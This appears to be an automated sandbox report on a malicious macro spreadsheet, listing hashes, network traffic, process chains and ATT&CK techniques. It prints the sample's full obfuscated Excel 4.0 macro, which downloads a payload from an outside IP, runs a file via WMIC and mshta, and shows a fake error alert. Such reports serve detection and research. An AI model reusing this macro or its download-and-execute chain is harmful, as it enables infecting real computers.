Preview:	.PNG........IHDR.......=......8.....JiCCPICC Profile..x..W.TS...[RIh..H...R.K..E....I ...D....]D@].U.E...ZQ...]......l..I.]=...s........{g...I.....y.\|Y\|D.kBj.......Z...x\|...........7..../.(......'.... q.g...<......\|..>Po=#_.. 6...!.q...(q..W.l..9....L..dY.h7C=....y.o@...%..!..x..#!...7M...p...'....C.<^..V..r.X.....?..%/W1...6.H.......F.(%.A.#...X..wb...b.RD&..QS...k.....x.Q..B......32..\...A....D..EByX...F6->v.g.8l....L.Wi.R.............D.).1j.89.bm...(..fS$.........m ..J"B...LYx..^.'...[$.sc4.*_........7..Y(a'.......s..C..c...$M.X.4?$^3..47Nc.S...J......\<0..H5?.#.KT.gd......A4..P....2.4....=M=.z$....d.!p.h.g..F$...._...\|h^.jT.....V.t..........<..r.o.j.d.[2x.5...a...)...&Z.Q..t.-.a.Pb$1.....?.......>..`._..........N...b.7...8..=.kr..:g...z.!x...8.7...h..A.P..D...[....U.5v.W.J.F..8\|;S.I.s.EY.+..5c.....o.s.....Q.Zb..}X.v.;.....;.5c..J<....V..xU<9.G..?....r.z.n..\|a....8.3e.,Q>....B.W..9........;.~M.b.......]q............8........Z..

C:\Users\user\Desktop\~$Sale-8799306.xlsb Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Reputation:	high, very likely benign file
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.784263057805307
TrID:	Excel Microsoft Office Open XML Format document with Macro (51004/1) 36.56% Microsoft Excel Office Binary workbook document (40504/1) 29.03% Excel Microsoft Office Open XML Format document (40004/1) 28.67% ZIP compressed archive (8000/1) 5.73%
File name:	Sale-8799306.xlsb
File size:	54336
MD5:	48a10cd89790785f31ebcfc2e1c96ee3
SHA1:	bea251b714aefa43254dd9b252aeb04baf126041
SHA256:	14ee8fe1b5df73dac77e228d5799595799cd07d9d0ed4ecb61247353d8241f72
SHA512:	d660c41d1697146dd8ec109b0d4223fa7be5feaf0dc434491ef2abcfed06664034771c14828928d64982761b740911c5b9fa28b678c1dca439372a503a69d441
SSDEEP:	768:UWBPiDbzNLo6CW2Z53SAPaWbpi3/BwfgMAIl2CqVlKj80BPodPG8f:UWBPIbZ853SAJbpSwfVl2Fsj8Agd+A
File Content Preview:	PK..........!...l.....W.......[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2ea8aa4b4b4b4

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "Sale-8799306.xlsb"

Indicators
Has Summary Info:
Application Name:
Encrypted Document:
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:

Macro 4.0 Code

0,564,=FOPEN(CHAR(67) & ":\" & CHAR(80) & CHAR(114) & "ogram" & CHAR(68) & "ata\CjBEfxIRZH.rt" & CHAR(102), 3)
2,564,=C8547+A1174
3,564,=B7891+C7568
6,564,=B7666+A100
13,564,=A5027+D7960
15,564,=FOR.CELL("riqXTKWALF",Sheet1!CI167:CM1114, TRUE)
16,564,=A6519+C3603
17,564,=D8594+B4152
18,564,=D2130+B472
23,564,=B6113+C4925
25,564,=FWRITE(0,CHAR(riqXTKWALF))
27,564,=D4680+D7661
30,564,=A613+B7559
31,564,=A6544+C3319
32,564,=D9617+A9067
34,564,=D1059+B3088
39,564,=B3472+C433
40,564,=NEXT()
42,564,=C8502+D2733
44,564,=C3213+A7204
45,564,=C9429+C7502
47,564,=D4264+B482
49,564,=C4229+C4568
55,564,=EXEC(CHAR(119) & "mic" & CHAR(32) & "pro" & CHAR(99) & "ess call creat" & CHAR(101) & "" & CHAR(32) & CHAR(34) & CHAR(109) & "shta C" & CHAR(58) & "\Pr" & CHAR(111) & "gram" & CHAR(68) & "ata\CjB" & CHAR(69) & CHAR(102) & "" & CHAR(120) & CHAR(73) & "RZH.rt" & CHAR(102) & CHAR(34))
56,564,=D8924+B3124
58,564,=B9896+A9079
59,564,=C9257+A1158
60,564,=A6194+D7218
65,564,=B3716+D9221
66,564,=D3943+C6134
67,564,=CALL("urlmon", "URLDo" & CHAR(119) & "nl" & CHAR(111) & "adT" & CHAR(111) & "Fil" & CHAR(101) & "" & CHAR(65) & "","JJC" & CHAR(67) & CHAR(74) & CHAR(74) & "", 0, "ht" & CHAR(116) & CHAR(112) & CHAR(58) & CHAR(47) & "/136." & CHAR(49) & "44.18" & CHAR(49) & ".1" & CHAR(55) & "4:8080/Q2W5V" & CHAR(87) & "UFL5VCMQ7" & CHAR(74) & "QPETG3CCTYX72Z4R25" & CHAR(80) & CHAR(68) & CHAR(71), "C:\Progra" & CHAR(109) & "Data\" & CHAR(114) & "" & CHAR(116) & CHAR(69) & "Tr" & CHAR(109) & CHAR(46) & "tx" & CHAR(116),0,0)
72,564,=A5014+D3599
74,564,=B6835+C8990
75,564,=D4690+B8884
76,564,=A4573+D3753
77,564,=D7528+D5321
78,564,=C1700+C2476
80,564,=B3854+B839
81,564,=ALERT("Er" & CHAR(114) & "or!" & CHAR(32) & "Sending re" & CHAR(112) & "ort to M" & CHAR(105) & "croso" & CHAR(102) & "t.." & CHAR(46))
82,564,=A2237+A4530
83,564,=D1019+D8238
84,564,=D592+D5421
85,564,=B7431+C5730
89,564,=C1246+A1429
91,564,=FOPEN("C:\" & CHAR(80) & "rogram" & CHAR(68) & "ata\rt" & CHAR(69) & "Trm.txt",1)
95,564,=C8759+B1225
98,564,=D506+B209
99,564,=C5796+A4713
101,564,=C9884+A1025
102,564,=D4696+A9213
103,564,=SEND.MAIL(EVALUATE(FREAD(US92,255)))
105,564,=A7297+D4031
106,564,=D5035+D3542
107,564,=A7738+B5238
109,564,=D8849+A6391
110,564,=C326+B2191
112,564,=D8897+B5536
113,564,=C7083+B2298
116,564,=C3151+B3385
117,564,=RETURN()

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2021 06:26:44.817574024 CET	49165	8080	192.168.2.22	136.144.181.174
Nov 25, 2021 06:26:44.845652103 CET	8080	49165	136.144.181.174	192.168.2.22
Nov 25, 2021 06:26:45.351830959 CET	49165	8080	192.168.2.22	136.144.181.174
Nov 25, 2021 06:26:45.379719973 CET	8080	49165	136.144.181.174	192.168.2.22
Nov 25, 2021 06:26:45.882313967 CET	49165	8080	192.168.2.22	136.144.181.174
Nov 25, 2021 06:26:45.910336971 CET	8080	49165	136.144.181.174	192.168.2.22
Nov 25, 2021 06:26:45.911659956 CET	49166	8080	192.168.2.22	136.144.181.174
Nov 25, 2021 06:26:45.939424038 CET	8080	49166	136.144.181.174	192.168.2.22
Nov 25, 2021 06:26:46.443905115 CET	49166	8080	192.168.2.22	136.144.181.174
Nov 25, 2021 06:26:46.471673965 CET	8080	49166	136.144.181.174	192.168.2.22
Nov 25, 2021 06:26:46.974426031 CET	49166	8080	192.168.2.22	136.144.181.174
Nov 25, 2021 06:26:47.002305984 CET	8080	49166	136.144.181.174	192.168.2.22

Code Manipulations

Statistics

CPU Usage

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Memory Usage

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High Level Behavior Distribution

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Behavior

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System Behavior

Analysis Process: EXCEL.EXE PID: 2652 Parent PID: 596

General

Start time:	06:27:13
Start date:	25/11/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f700000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WMIC.exe PID: 2832 Parent PID: 2652

General

Start time:	06:27:35
Start date:	25/11/2021
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic process call create "mshta C:\ProgramData\CjBEfxIRZH.rtf"
Imagebase:	0xff030000
File size:	566272 bytes
MD5 hash:	FD902835DEAEF4091799287736F3A028
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: mshta.exe PID: 1320 Parent PID: 1304

General

Start time:	06:27:36
Start date:	25/11/2021
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta C:\ProgramData\CjBEfxIRZH.rtf
Imagebase:	0x13f2d0000
File size:	13824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Windows Analysis Report Sale-8799306.xlsb

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Initial Sample

Dropped Files

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "Sale-8799306.xlsb"

Indicators

Macro 4.0 Code

Network Behavior

Network Port Distribution

TCP Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

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Behavior

System Behavior

Analysis Process: EXCEL.EXE PID: 2652 Parent PID: 596

General

Chronological Activities